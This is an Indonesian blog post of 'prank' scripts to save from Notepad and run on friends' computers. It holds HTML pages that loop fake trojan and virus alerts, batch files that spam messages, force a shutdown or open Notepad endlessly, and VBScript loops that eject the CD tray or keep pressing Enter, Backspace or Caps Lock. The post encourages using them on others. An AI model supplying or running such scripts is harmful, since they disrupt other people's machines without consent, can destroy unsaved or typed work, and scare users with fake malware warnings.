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Cara Jahil Dengan Notepad

Written By MUHAMAD IRFAN on Monday 26 August 2013 | 20:04

Cara Jahil Ngerjain Teman Dengan Notepad


SCRIPT PERTAMA !

Cara Yang Pertama, Buatlah Script Berikut Ini :  
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<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Computer anda terkena trojan horse!!!!!!!!")
var b = true
while (b == true)
{
alert("Virus found!!!!!")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
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Cara Yang Kedua, Buatlah Script Berikut Ini :  
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<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Muka lo ancur banget")
var b = true
while (b == true)
{
alert("Install ulang tuh muka supaya mendingan")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
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Cara Yang Ketiga, Buatlah Script Berikut Ini :  
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<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Loe kentut ya")
var b = true
while (b == true)
{
alert("Cebok dulu tuw pantat sebelum kentut")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
---------------------------------------------- Simpanlah Script yang telah dibuat tadi dengan Ekstensi ".html" (Tanpa tanda Petik)



SCRIPT Ke-2 !
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@ECHO off
:Begin
msg * -WARNING-
msg * Sorry PC lo kaya'y ngaco....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN
---------------------------------------------- save namafile ( .BAT )

SCRIPT Ke-3 !
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@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"
---------------------------------------------- save namafile (.bat)
SCRIPT Ke-4 !
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Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
---------------------------------------------- save namafile (.vbs)

SCRIPT Ke-5 !
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Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
---------------------------------------------- save namafile (.vbs)

SCRIPT Ke-6 !
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MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
---------------------------------------------- save namafile ( .vbs )

SCRIPT Ke-7 !
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Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
---------------------------------------------- save namafile ( .vbs )

SCRIPT Ke-8
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@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
---------------------------------------------- save namafile ( .bat )

SCRIPT Ke-9 !
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WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
---------------------------------------------- save namafile ( .vbs )


SCRIPT Ke-10 !
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Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
---------------------------------------------- Save namafile (.vbs )


Keterangan :
Script 1 : membuka browser abis itu keluar message teru menerus
Script 2 : Buat pesan keluar terus
Script  3 : Bikin shutdown terus ada messagenya
Script 4 : Maenin CD/DVD biar buka tutup mulu
Script 5 : Bikin vbscript nongol melulu
Script 6 : Bikin tombol Backspace neken melulu
Script 7 ;  Bikin otomatis ngetik "Erorr!!!" di notepad/word
Script 8 :  Bikin supaya buka notepad mlulu
Script 9 : Bikin supaya setiap buka notepad otomatis ngetik apa yg kalian mau
Script 10 : Maenin Capslock
Script dicopy antara 2 tanda “-----------"

Ingat !
Script Di Atas Hanya Untuk Orang Jahil.. Bagi Anda Yang Belum Merasa Cukup Jahil,, Ber Jahillah Sebelum Jahil Itu Di Larang …. hehehee

Sekian Dulu Info Jahilnya ya,, semoga anda tidak terjahili ... :D


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